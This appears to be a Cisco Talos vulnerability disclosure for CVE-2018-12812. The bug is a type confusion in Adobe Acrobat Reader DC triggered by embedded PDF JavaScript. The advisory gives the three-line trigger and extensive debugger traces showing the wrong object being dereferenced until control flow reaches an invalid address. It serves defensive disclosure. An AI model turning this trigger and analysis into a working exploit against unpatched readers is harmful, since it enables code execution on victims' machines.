CVE-2018-12812
A specific JavaScript code embedded in a PDF file can lead to an object type confusion when opening a PDF document in Adobe Acrobat Reader DC 2018.011.20038. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2018.011.20038
6.8 - CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
CWE-843: Access of Resource Using Incompatible Type (‘Type Confusion’)
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a large user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. The one method call required to trigger this vulnerability is privileged, and can only be called from trusted functions or from a trusted location.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This give the potential attacker the ability to precisely control memory layout, and poses an additional attack surface.
While executing the following piece of JavaScript code, a specific condition leading to an object of wrong type being misinterpreted can cause memory corruption (it should be noted that all three of these lines require higher privileges, meaning they must be executed in a trusted PDF file):
this.event = this.Collab.drivers[0];
this.InitializeFormsTrackerJS( );
this.Collab.drivers[0].getWorkspaceCreator(null, this);
After calling InitializeFormsTrackerJS
, which is an undocumented JavaScript function, a subsequent dereference of this.Collab.drivers[0]
with a call to a particular method will cause one extra object of wrong type to be accessed. After a call to getWorkspaceCreator
, in the debugger, we actually end up in the following code:
Breakpoint 0 hit
eax=17dd3000 ebx=00000000 ecx=59c715e4 edx=59c715e4 esi=24cdf000 edi=36dbf000
eip=5779757c esp=0023c754 ebp=0023c77c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
Annots!PlugInMain+0x7367b:
5779757c ff90cc000000 call dword ptr [eax+0CCh] ds:0023:17dd30cc=57f27398
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0023c77c 59b0d6ca Annots!PlugInMain+0x7367b
01 0023c7ec 59b11c50 EScript!mozilla::HashBytes+0x2d054
02 0023c81c 59ae388f EScript!mozilla::HashBytes+0x315da
03 0023c8ac 59ae32f3 EScript!mozilla::HashBytes+0x3219
04 0023c8c8 59b0d235 EScript!mozilla::HashBytes+0x2c7d
05 0023c914 59b0d1c8 EScript!mozilla::HashBytes+0x2cbbf
06 0023c930 59b11a59 EScript!mozilla::HashBytes+0x2cb52
07 0023c94c 59b119f0 EScript!mozilla::HashBytes+0x313e3
08 0023c97c 59b2b605 EScript!mozilla::HashBytes+0x3137a
09 0023c9d0 59b2b505 EScript!mozilla::HashBytes+0x4af8f
0a 0023c9e8 578dd779 EScript!mozilla::HashBytes+0x4ae8f
0b 0023ca28 5774506e Annots!PlugInMain+0x1b9878
0c 0023ca48 57744f76 Annots!PlugInMain+0x2116d
0d 0023ca88 578dd715 Annots!PlugInMain+0x21075
0e 0023cac8 5774506e Annots!PlugInMain+0x1b9814
0f 0023cae8 578dd7b9 Annots!PlugInMain+0x2116d
10 0023cb00 59b2b61a Annots!PlugInMain+0x1b98b8
11 0023cb50 59b2b505 EScript!mozilla::HashBytes+0x4afa4
12 0023cb68 578dd779 EScript!mozilla::HashBytes+0x4ae8f
At this call, EScript’s cachehash will be consulted, and an object returned as a result. Because things don’t change over many calls of the above code, we can get the resulting pointer in advance:
0:000> dd poi(poi(poi(poi(esp)+0x10)+0x34)+4)
33046000 57b38810 00000000 337fd000 ffffffff
33046010 33803000 ffffffff 00000000 57b3908c
33046020 00000000 57b08984 00000000 57b39148
33046030 00000000 337f1000 ffffffff 00000000
33046040 00000000 00000000 00000000 00000000
33046050 00000000 00000000 00000000 00000000
33046060 00000000 00000000 00000000 00000000
33046070 57b0877c 00000000 00000000 00000000
And indeed, if we wait for the above call to return, we see the same result in the eax
:
0:000> p
eax=33046000 ebx=00000000 ecx=57b0a370 edx=57b0a378 esi=24cdf000 edi=36dbf000
eip=57797582 esp=0023c754 ebp=0023c77c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
Annots!PlugInMain+0x73681:
57797582 59 pop ecx
0:000> dd eax
33046000 57b38810 00000000 337fd000 ffffffff
33046010 33803000 ffffffff 00000000 57b3908c
33046020 00000000 57b08984 00000000 57b39148
33046030 00000000 337f1000 ffffffff 00000000
33046040 00000000 00000000 00000000 00000000
33046050 00000000 00000000 00000000 00000000
33046060 00000000 00000000 00000000 00000000
33046070 57b0877c 00000000 00000000 00000000
Looking up heap information of this pointer reveals the following:
0:000> !heap -p -a 33046000
address 33046000 found in
_DPH_HEAP_ROOT @ 1241000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
331b064c: 33046000 108 - 33045000 2000
? Annots!PlugInMain+41490f
66818e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77756206 ntdll!RtlDebugAllocateHeap+0x00000030
7771a127 ntdll!RtlpAllocateHeap+0x000000c4
776e5950 ntdll!RtlAllocateHeap+0x0000023a
5cdced43 MSVCR120!malloc+0x00000049 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
57728b12 Annots!PlugInMain+0x00004c11
57728ac1 Annots!PlugInMain+0x00004bc0
577441c7 Annots!PlugInMain+0x000202c6
57744170 Annots!PlugInMain+0x0002026f
59b225d3 EScript!mozilla::HashBytes+0x00041f5d
59b075ce EScript!mozilla::HashBytes+0x00026f58
59b017da EScript!mozilla::HashBytes+0x00021164
59b00606 EScript!mozilla::HashBytes+0x0001ff90
59b00511 EScript!mozilla::HashBytes+0x0001fe9b
59b00458 EScript!mozilla::HashBytes+0x0001fde2
59ae9e2e EScript!mozilla::HashBytes+0x000097b8
59b285ec EScript!mozilla::HashBytes+0x00047f76
59b28370 EScript!mozilla::HashBytes+0x00047cfa
59b27de3 EScript!mozilla::HashBytes+0x0004776d
59b26cd5 EScript!mozilla::HashBytes+0x0004665f
59b96428 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f743
584dcb1e AcroRd32!AIDE::PixelPartInfo::operator=+0x000222ce
584d922c AcroRd32!AIDE::PixelPartInfo::operator=+0x0001e9dc
5832efca AcroRd32!AX_PDXlateToHostEx+0x0015a229
5832f4c8 AcroRd32!AX_PDXlateToHostEx+0x0015a727
584dc87b AcroRd32!AIDE::PixelPartInfo::operator=+0x0002202b
57fc5293 AcroRd32!PDAlternatesGetCosObj+0x0001ce03
57f8cb36 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000bac25
57f040bc AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000321ab
57f031ad AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003129c
57ee7a07 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00015af6
57ee6fbb AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000150aa
Note that it’s an object of size 0x108. In the sample proof of concept there are total of 12 benign calls on the above break point, all returning an object of size 0x108 as a result. But, 13th call (which is a result of calling InitializeFormsTrackerJS
) will be erroneous:
eax=17dd3000 ebx=00000000 ecx=59c715e4 edx=59c715e4 esi=24cdf000 edi=332b7000
eip=5779757c esp=0023c8d4 ebp=0023c8fc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Annots!PlugInMain+0x7367b:
5779757c ff90cc000000 call dword ptr [eax+0CCh] ds:0023:17dd30cc=57f27398
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0023c8fc 59b0d6ca Annots!PlugInMain+0x7367b
01 0023c96c 59b11c50 EScript!mozilla::HashBytes+0x2d054
02 0023c99c 59ae388f EScript!mozilla::HashBytes+0x315da
03 0023ca2c 59ae32f3 EScript!mozilla::HashBytes+0x3219
04 0023ca48 59b0d235 EScript!mozilla::HashBytes+0x2c7d
05 0023ca94 59b0d1c8 EScript!mozilla::HashBytes+0x2cbbf
06 0023cab0 59b11a59 EScript!mozilla::HashBytes+0x2cb52
07 0023cacc 59b119f0 EScript!mozilla::HashBytes+0x313e3
08 0023cafc 59b2b605 EScript!mozilla::HashBytes+0x3137a
09 0023cb50 59b2b505 EScript!mozilla::HashBytes+0x4af8f
0a 0023cb68 578dd779 EScript!mozilla::HashBytes+0x4ae8f
0b 0023cba8 5774506e Annots!PlugInMain+0x1b9878
0c 0023cbc8 578dd7b9 Annots!PlugInMain+0x2116d
0d 0023cbe0 59b2b61a Annots!PlugInMain+0x1b98b8
0e 0023cc30 59b2b505 EScript!mozilla::HashBytes+0x4afa4
0f 0023cc48 578dd779 EScript!mozilla::HashBytes+0x4ae8f
10 0023cc88 5774506e Annots!PlugInMain+0x1b9878
11 0023cca8 57744f76 Annots!PlugInMain+0x2116d
12 0023cce8 577958db Annots!PlugInMain+0x21075
13 0023cda8 59b225d3 Annots!PlugInMain+0x719da
14 0023ce20 59b075ce EScript!mozilla::HashBytes+0x41f5d
15 0023ce94 59b017da EScript!mozilla::HashBytes+0x26f58
16 0023d3ec 59b00606 EScript!mozilla::HashBytes+0x21164
17 0023d424 59b00511 EScript!mozilla::HashBytes+0x1ff90
18 0023d460 59b00458 EScript!mozilla::HashBytes+0x1fe9b
19 0023d490 59ae9e2e EScript!mozilla::HashBytes+0x1fde2
0:000> dd poi(poi(poi(poi(esp)+0x10)+0x34)+4)
2c2fb000 33b93000 00000000 33b93000 d0d0d0d0
2c2fb010 334e5000 00000000 00000003 d0d0d0d0
2c2fb020 00690074 006e006f d0d00000 d0d0d0d0
2c2fb030 72656b63 00000000 c0c0c0c0 c0c0c0c0
2c2fb040 00000000 00000000 00000000 00000000
2c2fb050 00000000 00000000 00000000 00000000
2c2fb060 00000000 00000000 00000000 00000000
2c2fb070 00000000 00000000 00000000 00000000
0:000> !heap -p -a poi(poi(poi(poi(esp)+0x10)+0x34)+4)
address 2c2fb000 found in
_DPH_HEAP_ROOT @ 1241000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2c1b3e04: 2c2fb000 8 - 2c2fa000 2000
66818e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77756206 ntdll!RtlDebugAllocateHeap+0x00000030
7771a127 ntdll!RtlpAllocateHeap+0x000000c4
776e5950 ntdll!RtlAllocateHeap+0x0000023a
5cdced43 MSVCR120!malloc+0x00000049 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
5cdcee1c MSVCR120!operator new+0x0000001d [f:\dd\vctools\crt\crtw32\heap\new.cpp @ 59]
5772dff6 Annots!PlugInMain+0x0000a0f5
5772daf9 Annots!PlugInMain+0x00009bf8
577290b0 Annots!PlugInMain+0x000051af
57737e59 Annots!PlugInMain+0x00013f58
5774506e Annots!PlugInMain+0x0002116d
578dd7b9 Annots!PlugInMain+0x001b98b8
59b2b61a EScript!mozilla::HashBytes+0x0004afa4
59b2b505 EScript!mozilla::HashBytes+0x0004ae8f
578dd779 Annots!PlugInMain+0x001b9878
5774506e Annots!PlugInMain+0x0002116d
57744f76 Annots!PlugInMain+0x00021075
577958db Annots!PlugInMain+0x000719da
59b225d3 EScript!mozilla::HashBytes+0x00041f5d
59b075ce EScript!mozilla::HashBytes+0x00026f58
59b017da EScript!mozilla::HashBytes+0x00021164
59b00606 EScript!mozilla::HashBytes+0x0001ff90
59b00511 EScript!mozilla::HashBytes+0x0001fe9b
59b00458 EScript!mozilla::HashBytes+0x0001fde2
59ae9e2e EScript!mozilla::HashBytes+0x000097b8
59b285ec EScript!mozilla::HashBytes+0x00047f76
59b28370 EScript!mozilla::HashBytes+0x00047cfa
59b27de3 EScript!mozilla::HashBytes+0x0004776d
59b26cd5 EScript!mozilla::HashBytes+0x0004665f
59b96428 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f743
584dcb1e AcroRd32!AIDE::PixelPartInfo::operator=+0x000222ce
584d922c AcroRd32!AIDE::PixelPartInfo::operator=+0x0001e9dc
In the above debugging output we can see, even before the call is made, that the returned object pointer will point to an object of size 8 in this case (note that this is with full page heap enabled and the details might vary with memory layout). And indeed, after returning from this call, we have a wrong object in eax
:
0:000> p
eax=2c2fb000 ebx=00000000 ecx=57b0a370 edx=57b0a378 esi=24cdf000 edi=332b7000
eip=57797582 esp=0023c8d4 ebp=0023c8fc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Annots!PlugInMain+0x73681:
57797582 59 pop ecx
0:000> dd eax
2c2fb000 33b93000 00000000 33b93000 d0d0d0d0
2c2fb010 334e5000 00000000 00000003 d0d0d0d0
2c2fb020 00690074 006e006f d0d00000 d0d0d0d0
2c2fb030 72656b63 00000000 c0c0c0c0 c0c0c0c0
2c2fb040 00000000 00000000 00000000 00000000
2c2fb050 00000000 00000000 00000000 00000000
2c2fb060 00000000 00000000 00000000 00000000
2c2fb070 00000000 00000000 00000000 00000000
This brings us to the consequence of this type confusion. Listing the immediately following code reveals the problem:
57797582 59 pop ecx
57797583 59 pop ecx
57797584 85c0 test eax,eax
57797586 743d je Annots!PlugInMain+0x736c4 (577975c5)
57797588 8b10 mov edx,dword ptr [eax]
5779758a 8d4df0 lea ecx,[ebp-10h]
5779758d 51 push ecx
5779758e 8bc8 mov ecx,eax
57797590 ff521c call dword ptr [edx+1Ch]
If eax
isn’t null, a pointer value is read into edx
and is subsequently dereferenced in a call
instruction. Because eax
now points to a wrong object type, this can possibly result in control flow hijacking and arbitrary code execution. Indeed, continuing the execution leads to a crash due to the instruction pointer pointing to an invalid location.
Crash with full page heap enabled:
0:000> g
(143c.12e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=2c2fb000 ebx=00000000 ecx=2c2fb000 edx=33b93000 esi=24cdf000 edi=332b7000
eip=c0c0c0c0 esp=0023c8d4 ebp=0023c8fc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
c0c0c0c0 ?? ???
0:000> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0023c8d0 57797593 0xc0c0c0c0
01 0023c8fc 59b0d6ca Annots!PlugInMain+0x73692
02 0023c96c 59b11c50 EScript!mozilla::HashBytes+0x2d054
03 0023c99c 59ae388f EScript!mozilla::HashBytes+0x315da
04 0023ca2c 59ae32f3 EScript!mozilla::HashBytes+0x3219
05 0023ca48 59b0d235 EScript!mozilla::HashBytes+0x2c7d
06 0023ca94 59b0d1c8 EScript!mozilla::HashBytes+0x2cbbf
07 0023cab0 59b11a59 EScript!mozilla::HashBytes+0x2cb52
08 0023cacc 59b119f0 EScript!mozilla::HashBytes+0x313e3
09 0023cafc 59b2b605 EScript!mozilla::HashBytes+0x3137a
0a 0023cb50 59b2b505 EScript!mozilla::HashBytes+0x4af8f
0b 0023cb68 578dd779 EScript!mozilla::HashBytes+0x4ae8f
0c 0023cba8 5774506e Annots!PlugInMain+0x1b9878
0d 0023cbc8 578dd7b9 Annots!PlugInMain+0x2116d
0e 0023cbe0 59b2b61a Annots!PlugInMain+0x1b98b8
0f 0023cc30 59b2b505 EScript!mozilla::HashBytes+0x4afa4
10 0023cc48 578dd779 EScript!mozilla::HashBytes+0x4ae8f
11 0023cc88 5774506e Annots!PlugInMain+0x1b9878
12 0023cca8 57744f76 Annots!PlugInMain+0x2116d
13 0023cce8 577958db Annots!PlugInMain+0x21075
14 0023cda8 59b225d3 Annots!PlugInMain+0x719da
15 0023ce20 59b075ce EScript!mozilla::HashBytes+0x41f5d
0:000> dd eax
2c2fb000 33b93000 00000000 33b93000 d0d0d0d0
2c2fb010 334e5000 00000000 00000003 d0d0d0d0
2c2fb020 00690074 006e006f d0d00000 d0d0d0d0
2c2fb030 72656b63 00000000 c0c0c0c0 c0c0c0c0
2c2fb040 00000000 00000000 00000000 00000000
2c2fb050 00000000 00000000 00000000 00000000
2c2fb060 00000000 00000000 00000000 00000000
2c2fb070 00000000 00000000 00000000 00000000
0:000> !heap -p -a eax
address 2c2fb000 found in
_DPH_HEAP_ROOT @ 1241000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2c1b3e04: 2c2fb000 8 - 2c2fa000 2000
66818e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77756206 ntdll!RtlDebugAllocateHeap+0x00000030
7771a127 ntdll!RtlpAllocateHeap+0x000000c4
776e5950 ntdll!RtlAllocateHeap+0x0000023a
5cdced43 MSVCR120!malloc+0x00000049 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
5cdcee1c MSVCR120!operator new+0x0000001d [f:\dd\vctools\crt\crtw32\heap\new.cpp @ 59]
5772dff6 Annots!PlugInMain+0x0000a0f5
5772daf9 Annots!PlugInMain+0x00009bf8
577290b0 Annots!PlugInMain+0x000051af
57737e59 Annots!PlugInMain+0x00013f58
5774506e Annots!PlugInMain+0x0002116d
578dd7b9 Annots!PlugInMain+0x001b98b8
59b2b61a EScript!mozilla::HashBytes+0x0004afa4
59b2b505 EScript!mozilla::HashBytes+0x0004ae8f
578dd779 Annots!PlugInMain+0x001b9878
5774506e Annots!PlugInMain+0x0002116d
2018-04-16- Vendor Disclosure
2018-07-10 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.